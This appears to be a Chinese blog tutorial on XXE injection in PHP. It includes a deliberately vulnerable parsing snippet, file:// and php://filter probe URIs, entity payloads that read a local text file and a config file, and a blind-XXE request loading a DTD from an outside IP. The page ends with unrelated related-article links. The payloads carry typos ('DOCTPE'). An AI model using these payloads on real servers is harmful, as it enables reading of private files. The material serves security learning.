目录

XXE漏洞介绍

XXE漏洞

XML介绍及用途

XML语法规则

函数介绍

存在XXE漏洞代码

php中测试POC

有回显XXE漏洞利用

读取文档文件

读取php文件

无回显XXE漏洞利用

测试原理

请求XML

服务器dtd

使用wireshark抓取http查看信息


XXE漏洞介绍

XXE全称为XML External Entity Injection即XMl外部实体注入漏洞。

XXE漏洞

XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

XML介绍及用途

XMl被设计用来传输和存储数据。XML文档形成了一种树状结构,它从"根部"开始,然后扩展到"枝叶"。

XMl允许作者定义自己的标签和自己的文档结构。

XML语法规则

  • 所有XMl元素必须有一个闭合标签
  • XMl标签对大小写敏感
  • XMl必须正确嵌套
  • XML属性值必须加引号
  • 实体引用
  • 在XMl中,空格会被保留

函数介绍

file_get_cintent函数介绍

file_get_content()函数把整个文件读入一个字符串中。

php://inpput介绍

php://input是个可以访问请求的原始数据的只读流。

结合file_get_contents(php://input)可以读取POST提交的数据

simplexml_load_string函数介绍

php中的simplexml_load_string函数将xml格式字符串转换为对应的SimpleXMLElement

XML注入回显输出函数

在php中可以使用 print_r(),echo输出想要输出的内容

存在XXE漏洞代码

<?php

$xml= file_get_contents(php://input);

$data = simplexml_load_string($xml);

echo"<pre>";

print_r($data);//注释掉该语句即为无回显的情况

?>

php中测试POC

file:///path/file.txt

http://url/file.ext

php://filter/read=convert.base64-encode/resource=conf.php

有回显XXE漏洞利用

读取文档文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE  ANY[

<!ENTITY xxe SYSTEM "file:///c:/post.txt">]>

<name>&xxe;</name>

读取php文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTPE  ANY[

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=conf.php">]>

<name>&xxe;</name>

无回显XXE漏洞利用

测试原理

请求XML

<?xml version="1.0" encoding="utf-8"?>

<DOCTPE   foo SYSTEM "http://192.168.3.112/test.dtd">

<foo>&e1;</foo>

服务器dtd

使用gedit将test.dtd中内容设置为下图的文件内容

使用wireshark抓取http查看信息

XXE漏洞介绍及利用相关推荐

  1. SSRF漏洞介绍及利用

    目录 SSRF简介 SSRF漏洞原理 SSRF漏洞的验证方法 主要用途 产生SSRF的PHP函数 SSRF漏洞常见位置 SSRF漏洞代码分析 实例演示-读取本地文件 SSRF简介 SSRF(serve ...

  2. XXE漏洞详解与利用

    XXE:XML 外部实体注入 XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件.执行系统命令.内网探测与攻击等危害的一 ...

  3. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  4. 网络安全课第五节 XXE 漏洞的检测与防御

    11 XXE 漏洞:XML 解析器的坑 上一讲我们介绍了 SSRF 漏洞,一种专门针对服务端的请求伪造攻击,常被用于攻击内网.在里面我介绍了 Burp Collaborator 用于专门测试无回显漏洞 ...

  5. Blind XXE漏洞详解

    0x01 blind XXE漏洞 0x02 使用out-of-band(OAST)技术检测Blind XXE漏洞 2.1 使用参数实体进行绕过 2.2 利用out-of-band获取敏感信息 0x03 ...

  6. java xxe漏洞利用_【技术分享】XXE漏洞攻防之我见

    作者:激越王 预估稿费:400RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 你是否听说过xml注入攻击呢,或者对它只知其一不知其二呢? 现在让我们从xml相关基础知识开 ...

  7. 网络安全--XXE漏洞利用思路

    一.XXE 是什么 介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞 如图所示: 既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多, ...

  8. (39.2)【XXE漏洞专题】XXE原理、产生、检测、危害、利用、示例

    目录 零.推荐: 一.简介: 二.原理: 三.产生的原因: 四.漏洞检测: 4.1.白盒: 4.1.1.函数/可控变量的查找 4.1.2.传输/存储数据格式类型 4.2.黑盒: 4.2.1.数据格式类 ...

  9. java xxe漏洞利用_XXE漏洞攻防原理

    方便永远是安全的敌人 你的知识面,决定你的攻击面 1简述 XXE(XML External Entity)是指xml外部实体攻击漏洞.XML外部实体攻击是针对解析XML输入的应用程序的一种攻击.当包含 ...

最新文章

  1. 新产品发布与A轮2000万美元 双喜临门后GrowingIO还要做什么
  2. SAP MM Inbound Delivery凭证流里不出现采购订单号?
  3. Codeforces 815 B Karen and Test 杨辉三角 组合数学
  4. eeglab教程系列(8)-数据叠加平均{2}绘制2D和3D图
  5. ClassLoader(一)- 介绍
  6. python安装mysqlclient报错_Centos 6 – sudo在为Python 3.4安装mysqlclient时...
  7. OpenCASCADE:Modeling Algorithms模块几何工具之Intersections交叉
  8. python环境变量的配置 alias_vim-python环境配置
  9. java学习(72):GUL流式布局管理器
  10. Vue移动端项目——字体图标的使用
  11. Modbus协议栈应用实例之五:Modbus ASCII主站应用
  12. Redis的发布订阅与主从配置
  13. Pytorch基础(三)数据集加载及预处理
  14. python处理access数据库教程_Python操作Access数据库基本操作步骤分析
  15. iar stm32_基于最新5.4电机库的STM32电机控制应用实战分享
  16. 【计算机网络】-- 动态分配信道:随机访问介质访问控制(ALOHA协议、CSMA协议、CSMA/CD协议、CSMA/CA协议)
  17. NLP-信息抽取-三元组-联合抽取-多任务学习-2019:CasRel【关系三元组抽取:一种新的级联二元标注框架】【没用CRF】【基于Lic2019比赛】【数据集:NYT、WebNLG】
  18. GenXus进行APP开发-全局颜色设计
  19. google hacking常用语法
  20. PYTHON代码:根据FileRecord和MAP的关系,拼接IBM V7000 精简卷碎片

热门文章

  1. python基础 培训班
  2. 实用技能一:防抖与节流
  3. chrome浏览器安装redux-devtools调试工具
  4. 阿里云添加管理员用户进行协作
  5. Python网络爬虫:爬取CSDN热搜数据 并保存到本地文件中
  6. RK 7.1 OTA升级提示Not enough free space on /cache to apply patches
  7. 智能门锁:人脸识别技术
  8. 电路邱关源学习笔记——1.7基尔霍夫定律
  9. hbase数据库_hbase 什么类型的数据库
  10. 双主机切换下导致的显示器闪动